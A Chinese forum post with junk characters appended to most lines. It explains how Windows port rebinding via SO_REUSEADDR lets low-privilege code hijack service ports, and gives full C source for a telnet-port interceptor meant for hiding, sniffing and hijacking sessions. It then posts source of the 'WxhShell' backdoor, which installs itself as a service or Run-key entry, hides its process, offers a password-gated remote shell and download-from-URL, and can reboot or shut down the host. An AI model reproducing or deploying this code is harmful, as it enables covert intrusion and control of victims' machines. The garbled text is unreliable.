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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~fw 6sY#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Yao>F--?  
IK5FSN]s/  
  saddr.sin_family = AF_INET; L,!?'.*/]  
#m?GBr%k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "6_#APoP  
fgg^B[(Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `M/=_O3  
yLCqlK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zy`4]w$Lj+  
fv$Y&_,5  
  这意味着什么?意味着可以进行如下的攻击: c nvxTI<  
*zeY<6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {dvrj<?  
p 7IJ3YY  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) loN!&YceW  
(1JZuR<?c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3 lH#+@  
7 vUfA"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  c_clpMx=  
 v'i"Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 LqIMU4Ex  
J0zudbP  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o_&.R  
|t CD@M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MV6 %~T  
Ag}V>i'  
  #include 3Gq Js  
  #include @+~=h{jv<  
  #include >SpXB:wx  
  #include    #3u3WTk+  
  DWORD WINAPI ClientThread(LPVOID lpParam);   & tQHxiDX  
  int main() y?O{J!U  
  { hu~02v5  
  WORD wVersionRequested; EquNg@25W  
  DWORD ret; {%D!~,4Ht  
  WSADATA wsaData; `%AFKmc^;  
  BOOL val; |57KTiiNLI  
  SOCKADDR_IN saddr; /{YUM~  
  SOCKADDR_IN scaddr; UT[nzbG  
  int err; @v_E' 9QG^  
  SOCKET s; w8:F^{  
  SOCKET sc; 5~k-c Ua  
  int caddsize; :}x\&]uC#k  
  HANDLE mt; B[ae<V0 k  
  DWORD tid;   Ht? u{\p@  
  wVersionRequested = MAKEWORD( 2, 2 ); udtsq"U_%  
  err = WSAStartup( wVersionRequested, &wsaData ); X5 lB],t"=  
  if ( err != 0 ) { SdC505m0*  
  printf("error!WSAStartup failed!\n"); l|O^yNS  
  return -1; I9*o[Jp5  
  }  z:9  
  saddr.sin_family = AF_INET; xou7j   
   Dntcv|%u  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $D5[12X  
Na: M1Uhb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -cyJj LL*  
  saddr.sin_port = htons(23); ;d G.oUk=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T[xGF/  
  { RK(uC-l  
  printf("error!socket failed!\n"); FW#Lf]FJ  
  return -1; -aG( Yx  
  } /:"%m:-P  
  val = TRUE; Ek _k_!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X +;Q=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Noz+\O\  
  { /' L20aN2  
  printf("error!setsockopt failed!\n"); [?Y u3E\  
  return -1; asP>(Li  
  } p9R`hgx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]n?a h  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  w J!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S$W *i@x?  
a1ZGMQq!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) p`gg   
  { OH5 kT$  
  ret=GetLastError(); j^KM   
  printf("error!bind failed!\n"); As@~%0 S  
  return -1; Jx-^WB  
  } @A!Ef=R  
  listen(s,2); q9pBS1Ej  
  while(1) %s$_KG!&  
  { pTUsdao^,  
  caddsize = sizeof(scaddr); 1mOZ\L!m*  
  //接受连接请求 ']$ttfJB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <9-tA\`8N  
  if(sc!=INVALID_SOCKET) 3Zsqx =w  
  { m#, F%s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _jH1Mcq  
  if(mt==NULL) g-mK(kY4p  
  { mDip P  
  printf("Thread Creat Failed!\n"); RTA9CR)JP4  
  break; H;*:XLPF  
  } <<(~'$~,L  
  } ':[+UUC@  
  CloseHandle(mt); [=e61Z  
  } d(, -13  
  closesocket(s); ;knSn$  
  WSACleanup(); ,!kyrk6  
  return 0; ,qiS;2(  
  }   |F<U;xV$p  
  DWORD WINAPI ClientThread(LPVOID lpParam) r!Eo8C  
  { .)|jBC8|}  
  SOCKET ss = (SOCKET)lpParam; Y8.0R-:ZAN  
  SOCKET sc; j='Ne5X1  
  unsigned char buf[4096];  _+|*  
  SOCKADDR_IN saddr; fouy??  
  long num; '7>Vmr 6  
  DWORD val; QC4_\V>[  
  DWORD ret; tt|U,o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AEPgQ9#E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |Y(].G,  
  saddr.sin_family = AF_INET; 4TG|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dyWWgC%A  
  saddr.sin_port = htons(23); ksDG8^9>]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "$0f.FO:i  
  { W$gSpZ_7  
  printf("error!socket failed!\n"); a6WE,4T9  
  return -1; 6e  |  
  } Aplqx vth  
  val = 100;  t8GJ;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1Od: I}@  
  { =Z#tZ{"  
  ret = GetLastError(); A6iyJFm D  
  return -1; i=o>Bl@f  
  } HxZ4t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \_x)E]D  
  { 5 1 x^gX|  
  ret = GetLastError(); ui9gt"qS`  
  return -1; +6gS]  
  } b@1QE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7azxqa5:  
  { 2#/ KS^  
  printf("error!socket connect failed!\n"); MLBZmM '  
  closesocket(sc); uO[4 WZ  
  closesocket(ss); W\} VZY  
  return -1; A*E4hop[  
  } ,z%F="@b9  
  while(1) G#dpSNV3|  
  { bs+KcY:N]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cR@z^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s ]QzNc  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i":-g"d  
  num = recv(ss,buf,4096,0); NPB':r-8  
  if(num>0) NLz$jk%=g  
  send(sc,buf,num,0); Qs% f6rL  
  else if(num==0) B|,6m 3.  
  break; KL5rF,DME  
  num = recv(sc,buf,4096,0); ~PlwPvWo  
  if(num>0) OPKX&)SE-  
  send(ss,buf,num,0); Iu1P}R>C  
  else if(num==0) 9s*Lzi[}  
  break; E\V>3rse  
  } X]1ep  
  closesocket(ss); X/7: *  
  closesocket(sc); cK-!Evv  
  return 0 ; zLxWyPM0;  
  } {'!D2y.7g  
Do_L  
^f`#8G7(  
========================================================== Rdnd|  
jC\R8_  
下边附上一个代码,,WXhSHELL ^<% w'*gR  
uxh4nyE  
========================================================== k*M{?4  
YRYrR|I  
#include "stdafx.h" RhQOl9  
Ix *KL=MG  
#include <stdio.h> 'HqAm$V+  
#include <string.h> >_F& oA#  
#include <windows.h> AOWI`  
#include <winsock2.h> t?0=;.D  
#include <winsvc.h> Nc"h8p?  
#include <urlmon.h> ZV Gw@3  
$%t{O[ (  
#pragma comment (lib, "Ws2_32.lib") _K;rM7  
#pragma comment (lib, "urlmon.lib") O-y"]Wrv  
?QuFRl,ZJ  
#define MAX_USER   100 // 最大客户端连接数 D!Gm9Pa}  
#define BUF_SOCK   200 // sock buffer E'r* g{,  
#define KEY_BUFF   255 // 输入 buffer W6_3f-4g  
[j!0R'T  
#define REBOOT     0   // 重启 fptW#_V2  
#define SHUTDOWN   1   // 关机 iww h,(  
Q|v=WC6  
#define DEF_PORT   5000 // 监听端口 V_ ]4UE  
Z].>U!7W  
#define REG_LEN     16   // 注册表键长度 T8KhmO  
#define SVC_LEN     80   // NT服务名长度 a"&Z!A:Z=  
sztnRX_  
// 从dll定义API  Mys;Il "  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L>L4%?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b _u&%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S3J6P2P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u8W*_;%:  
$ o t"Du  
// wxhshell配置信息 DI&xTe9k  
struct WSCFG { )Z; Y,g  
  int ws_port;         // 监听端口 qC 6Q5F  
  char ws_passstr[REG_LEN]; // 口令 w}(xs)`num  
  int ws_autoins;       // 安装标记, 1=yes 0=no [p7le8=  
  char ws_regname[REG_LEN]; // 注册表键名 !t_,x=  
  char ws_svcname[REG_LEN]; // 服务名 DC$ S. {n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t TmFJ5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C$%QVcf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l+N?:E$5=%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =}q4ked /  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f0[xMn0Tu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,F *e^#>  
ebao7r5@  
}; t|y4kM  
wR4P0 [  
// default Wxhshell configuration .xk<7^ZD  
struct WSCFG wscfg={DEF_PORT, /f6]XP\'`+  
    "xuhuanlingzhe", >WD^)W fa  
    1, I{Kc{MXn  
    "Wxhshell", z)]EB6uRg  
    "Wxhshell", .(hb8 rCM  
            "WxhShell Service", rxz3Mqg  
    "Wrsky Windows CmdShell Service", ad~ qr n\  
    "Please Input Your Password: ", GqAedz;.  
  1, F9c2JBOM  
  "http://www.wrsky.com/wxhshell.exe", qB=pp!zQ  
  "Wxhshell.exe" (dT!u8Oe  
    }; K9P"ncMt  
KC]Jbm{y  
// 消息定义模块 -s)2b ;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zk/NO^1b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &6:,2W&s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CX:^]wY  
char *msg_ws_ext="\n\rExit."; FQ87[| S  
char *msg_ws_end="\n\rQuit."; ^twv0>vEo  
char *msg_ws_boot="\n\rReboot..."; woT"9_tN  
char *msg_ws_poff="\n\rShutdown..."; 3@&H)fdp6a  
char *msg_ws_down="\n\rSave to "; q#778  
pvM8PlYo]`  
char *msg_ws_err="\n\rErr!"; 000 $ZsW?  
char *msg_ws_ok="\n\rOK!"; ~d%Q1F*,=  
m3XH3FgKz  
char ExeFile[MAX_PATH]; (Q4_3<G+  
int nUser = 0; y-@!, @e  
HANDLE handles[MAX_USER]; g764wl  
int OsIsNt; \=_8G:1  
c,-x}i0c  
SERVICE_STATUS       serviceStatus; 'LOqGpmVc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^GAdl}  
'wZy: c  
// 函数声明 -'N#@Wdr  
int Install(void); Nb8<8O ^  
int Uninstall(void); %1<p1u'r?#  
int DownloadFile(char *sURL, SOCKET wsh); lcP@5ZW  
int Boot(int flag); ,C&>mv xA  
void HideProc(void); N1Z8I:  
int GetOsVer(void); B~aOs>1 S]  
int Wxhshell(SOCKET wsl); I[`2MKh  
void TalkWithClient(void *cs); !Q3Snu=  
int CmdShell(SOCKET sock); %zD-gw>  
int StartFromService(void); UxvsSHi  
int StartWxhshell(LPSTR lpCmdLine); ~pA;j7*  
FKx9$B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p%ZiTrA1&D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pd;-z  
6nfkZvn  
// 数据结构和表定义 '?>eW 2d  
SERVICE_TABLE_ENTRY DispatchTable[] = 1h#k&r#*3  
{ qN0#=X  
{wscfg.ws_svcname, NTServiceMain}, Y1'.m5E  
{NULL, NULL} I>3]4mI*a  
}; =c.q]/M  
"^= [*i  
// 自我安装 9e)+<H  
int Install(void) d-<y'GYw  
{ t? A4xk  
  char svExeFile[MAX_PATH]; y;Zfz~z  
  HKEY key; mce`1Tjw  
  strcpy(svExeFile,ExeFile); 5 muW*7  
Gh|!FRK[$  
// 如果是win9x系统,修改注册表设为自启动 X@:fW  @  
if(!OsIsNt) { &0eB@8{N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ke#;1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4@V] zfu^Q  
  RegCloseKey(key); 5p|@)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }>w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ntn md  
  RegCloseKey(key); 4QN;o%,  
  return 0;  b:QFD|  
    } 0;h1LI)  
  } 3uw7 J5x  
} /h M>dkwu  
else { [4hO3):F  
-h@0 1  
// 如果是NT以上系统,安装为系统服务 :|M/+XPu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <ut DZ#k  
if (schSCManager!=0) L_|uB  
{ 7L+X\oaB  
  SC_HANDLE schService = CreateService M96( Rg  
  ( V0 F30rK  
  schSCManager, zn ?;>Bl  
  wscfg.ws_svcname, ^!<7#kX  
  wscfg.ws_svcdisp, 3N"&P@/0x  
  SERVICE_ALL_ACCESS, jDX<iX%e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , VqL 5f  
  SERVICE_AUTO_START, 6)U&XWH0  
  SERVICE_ERROR_NORMAL, {g- DM}q  
  svExeFile, 9xQ 8`7  
  NULL, 4LEE /  
  NULL, '^l^gW/|\  
  NULL, hcgc =$^  
  NULL, p},Fwbl  
  NULL !ix<|F5  
  ); M#cr*%  
  if (schService!=0) l>UUaf|O  
  { GeaDaYh#T  
  CloseServiceHandle(schService); (<3lo ZaX  
  CloseServiceHandle(schSCManager); lZM3Q58?\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dl6v <  
  strcat(svExeFile,wscfg.ws_svcname); H 1D;:n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ' f$L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2]3HX3  
  RegCloseKey(key); ~Ex.Yp8.  
  return 0; S%X\ ,N  
    } ij(4)=  
  } HQ3`:l  
  CloseServiceHandle(schSCManager); !1'-'Q@f  
} R2O.}!'  
} a9Fm Y`  
iEviH>b5  
return 1; jN%p5nZ^EK  
} 7vaN&%;E%  
 A<Z 5  
// 自我卸载 p$nK@t}  
int Uninstall(void) fHd!/%iG  
{ {* j^g6;  
  HKEY key; "Wk{4gS7l  
r^A#[-VyNP  
if(!OsIsNt) { = b<<5N s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N4H+_g|  
  RegDeleteValue(key,wscfg.ws_regname); Yc82vSG'  
  RegCloseKey(key); WYC1rfd=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { As+;qNO  
  RegDeleteValue(key,wscfg.ws_regname); N 2"3~  #  
  RegCloseKey(key); W/r mm*  
  return 0; {?/8jCVd  
  } `GQiB]Z  
} ,![Du::1  
} ZJ9Jf2 c  
else { P$3=i`X!nw  
VL7S7pb_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  C5+`<  
if (schSCManager!=0) G|-\T(&J  
{  oKYhE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aw/7Z`   
  if (schService!=0) @mx$sNDkL  
  { \$'m ^tVU  
  if(DeleteService(schService)!=0) { :5S |x/  
  CloseServiceHandle(schService); x$n~f:1Y  
  CloseServiceHandle(schSCManager); 7<:Wq=e!r  
  return 0; 3_MS'&M  
  } V[Rrst0yo  
  CloseServiceHandle(schService); +lW}ixt  
  } adI!W-/R:  
  CloseServiceHandle(schSCManager); $% Ci8p  
} qo6LC>Qg  
} >&;>PZBPCO  
l#b|@4:I  
return 1; +`*qlP;  
} 7w Q+giu  
xegQRc  
// 从指定url下载文件 fJWxJSdi  
int DownloadFile(char *sURL, SOCKET wsh) rg5]`-!=  
{ R3j#WgltP  
  HRESULT hr; m-ph}  
char seps[]= "/"; 0\'Q&oTo  
char *token; vx!::V7s6  
char *file; WQ[}&kY~  
char myURL[MAX_PATH]; +_X,uvR  
char myFILE[MAX_PATH]; #Pu@Wx  
A U)1vx(\w  
strcpy(myURL,sURL); %{7_E*I@n  
  token=strtok(myURL,seps); G#e9$!  
  while(token!=NULL) (!*Xhz,(-  
  { tL~,ZCQz  
    file=token; E-)VPZ1D  
  token=strtok(NULL,seps); ]3t1=+  
  } x}?DkFuxb  
rFmKmV  
GetCurrentDirectory(MAX_PATH,myFILE); /5Zp-Pq  
strcat(myFILE, "\\"); y9C;T(oi;  
strcat(myFILE, file); 1E5a(  
  send(wsh,myFILE,strlen(myFILE),0); "x(>Sj\%I  
send(wsh,"...",3,0); O3kg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !/Iq{2LX  
  if(hr==S_OK) b0@>xT  
return 0; b4Z`y8=  
else  R"U/RS  
return 1; &yx NvyA[u  
AH2 _#\  
} oX'0o 'c  
+0XL5( '2  
// 系统电源模块 =db'#m{$  
int Boot(int flag) I@0z/4H``  
{ ?a5h iN0  
  HANDLE hToken; H2qf'  
  TOKEN_PRIVILEGES tkp; iHAU|`'N)  
b7B+eN ?z  
  if(OsIsNt) { :}y9$p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ap5}5 ewM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |[S90Gw]  
    tkp.PrivilegeCount = 1; [%@2o<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4_PCq Ep)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D]IBB>F  
if(flag==REBOOT) { &5\^f?'b7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8Y2xW`  
  return 0; l0gY~T/#3  
} qWsylC23  
else { >Z+"`"^o}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Q [r j  
  return 0; i2){xg~c  
} M.>^{n$ z  
  } 0b/i r2  
  else { *cbeyB{E  
if(flag==REBOOT) { e`i7ah;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G' Blp  
  return 0; ,E\h!/X  
} nX0HT )}  
else { {?E<](+0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E {tx/$f  
  return 0; g;pR^D'M5C  
} jY7=mAd  
} *YWk1Cwjo  
00ofHZ  
return 1; Btj#EoSI_  
} [SVhtrx|%  
)4l>XlQ&  
// win9x进程隐藏模块 '|A|vCRCG  
void HideProc(void) E2@`d6  
{ vr=~M?  
lT2 4JhJ#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M)&Io6>  
  if ( hKernel != NULL ) ? ^M /[@  
  { *LANGQ"2(i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &59F8JgJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .it#`Yz;  
    FreeLibrary(hKernel); vCw<G6tD  
  } UuU/c-.  
*?/tO, R?  
return; BZK2$0  
} .XXW|{  
7R}9oK_I  
// 获取操作系统版本 uG!:Z6%p  
int GetOsVer(void) /F.Wigv  
{ ,P{mk%=9  
  OSVERSIONINFO winfo; #05jC6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lVz9k  
  GetVersionEx(&winfo); vw2`:]Q+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {_?rh,9q  
  return 1; S,)d(g3>  
  else Dj i^+;"&  
  return 0; DAfyK?+UL  
} ~9\$5n)a  
eG5Y+iL-V  
// 客户端句柄模块 Z(j{F<\jS  
int Wxhshell(SOCKET wsl) S}(8f!9<  
{ }GumpT$Xw  
  SOCKET wsh; (hIF]>,kl  
  struct sockaddr_in client; Lxv6!?v|  
  DWORD myID; a5@z:i  
>nzu],U  
  while(nUser<MAX_USER) UiH!Dl}<  
{ cvnB!$eji  
  int nSize=sizeof(client); ,R?np9wc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +Y}V3(w9X  
  if(wsh==INVALID_SOCKET) return 1; `ltN,?/  
L*h{'<Bz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7FLXx?nLY  
if(handles[nUser]==0) )=J5\3O*x  
  closesocket(wsh); !v|FT. T`  
else O~!T3APGU  
  nUser++; X&M4MuL  
  } t 42ub  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9i5tVOhE  
K{@3\5<  
  return 0; N|mJg[j@7  
} Xd<t5{bD!  
<F;v`h|+S  
// 关闭 socket OoBCY-gj*  
void CloseIt(SOCKET wsh) nOb?-rR  
{ ZE?f!ifp  
closesocket(wsh); ~gE:-  
nUser--; -`+<{NHv\  
ExitThread(0); J NVr  
} lhH`dG D  
a2w T6jY  
// 客户端请求句柄 |F[=b'?  
void TalkWithClient(void *cs) \(~wZd  
{ !ErH~<f%K  
6KHN&P  
  SOCKET wsh=(SOCKET)cs; R\mR$\cS  
  char pwd[SVC_LEN]; .pPm~2]z  
  char cmd[KEY_BUFF]; R!(ZMRMn  
char chr[1]; >(r{7Qg  
int i,j; sa1h%<   
{D`'0Z1"  
  while (nUser < MAX_USER) { )w h%|  
|&3x#1A  
if(wscfg.ws_passstr) { P`$!@T0=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JhHWu<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7 <9yH:1  
  //ZeroMemory(pwd,KEY_BUFF); N~^yL<O  
      i=0; {2&m`D bm  
  while(i<SVC_LEN) { JIm4vS  
T!RT<&  
  // 设置超时 1PH: \0}  
  fd_set FdRead; ke_ [  
  struct timeval TimeOut; `'I{U5;e  
  FD_ZERO(&FdRead); ]:(W_ qEA  
  FD_SET(wsh,&FdRead); mYxyWB  
  TimeOut.tv_sec=8; dq\FBwfe  
  TimeOut.tv_usec=0; 6at1bQ$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bWWXc[O2&(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %FZ2xyI.  
t?c}L7ht  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rk6deI]  
  pwd=chr[0]; ({s6eqMhDd  
  if(chr[0]==0xd || chr[0]==0xa) { S4UM|`  
  pwd=0; =,y |00l  
  break; 80b;I|-T,  
  } \1"'E@+  
  i++; /E;y,o75  
    } d}'U?6 ob  
h `}}  
  // 如果是非法用户,关闭 socket *&BnF\?m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V7d) S&*V  
} *NFg;<:j  
O7d$YB_'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7hP<f}xL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ({r*=wAP  
#LlUxHv #  
while(1) { 3_Cp%~Gi-_  
&;yH@@Z  
  ZeroMemory(cmd,KEY_BUFF); r;BT,jiX  
+mj*o(  
      // 自动支持客户端 telnet标准   te|? )j  
  j=0; d^03"t0O]  
  while(j<KEY_BUFF) { N`@NiJ(O;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :W#rhuzC  
  cmd[j]=chr[0]; E 99hlY~1:  
  if(chr[0]==0xa || chr[0]==0xd) { $YxBE`)d-  
  cmd[j]=0; (*}yjUYLZ  
  break; S$)*&46g  
  } >Y7a4~ufko  
  j++; 2H71~~ c  
    } KmG  
T>TWU:  
  // 下载文件 ca i <,3H  
  if(strstr(cmd,"http://")) { K 0gI):  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z>sbr<doa  
  if(DownloadFile(cmd,wsh)) @NhvnfZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5oEV-6  
  else o#) {1<0vg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x:-.+C%  
  } Z4<L$i;/jN  
  else { A?_=K  
ZkL8e  
    switch(cmd[0]) { ]]7 mlQ  
  O[tvR:Nh  
  // 帮助 glDcUCF3  
  case '?': { v+p {|X-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |4$M]Mf0  
    break; ;!:U((wv  
  } :w}{$v}#D;  
  // 安装 T134ZXqqz  
  case 'i': { ojYbR<jn9  
    if(Install()) Xq'cA9v=$J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EA ]+vq  
    else KT]Pw\y5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? WJ> p  
    break; ^` un'5Vk  
    } w=b)({`M  
  // 卸载 XE^)VLH:  
  case 'r': {  _zlqtO  
    if(Uninstall()) zvABU+{jD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fYKOJ5f  
    else C{TA.\   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hxce\OuU0h  
    break; %ZHP2j %~  
    }  "KcA  
  // 显示 wxhshell 所在路径 ;&H4u)  
  case 'p': { z/i+EE  
    char svExeFile[MAX_PATH]; 21k5I #U  
    strcpy(svExeFile,"\n\r"); r0p w_j  
      strcat(svExeFile,ExeFile); YK|bXSA[  
        send(wsh,svExeFile,strlen(svExeFile),0); *JggU  
    break; 8DP+W$  
    } %$%& m1Y  
  // 重启 {U&.D [{&  
  case 'b': { vJAZ%aW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8r3A~  
    if(Boot(REBOOT)) :W b j\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ol4+_n8xj  
    else {  >S$Z  
    closesocket(wsh); ss;R8:5  
    ExitThread(0); 8~5cJPi6  
    } a0r"N[&  
    break; l7&$}x -  
    } h iNEJ_f  
  // 关机 SG6sw]x  
  case 'd': { j*~T1i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L^Jk=8  
    if(Boot(SHUTDOWN)) >0Q|nCx  
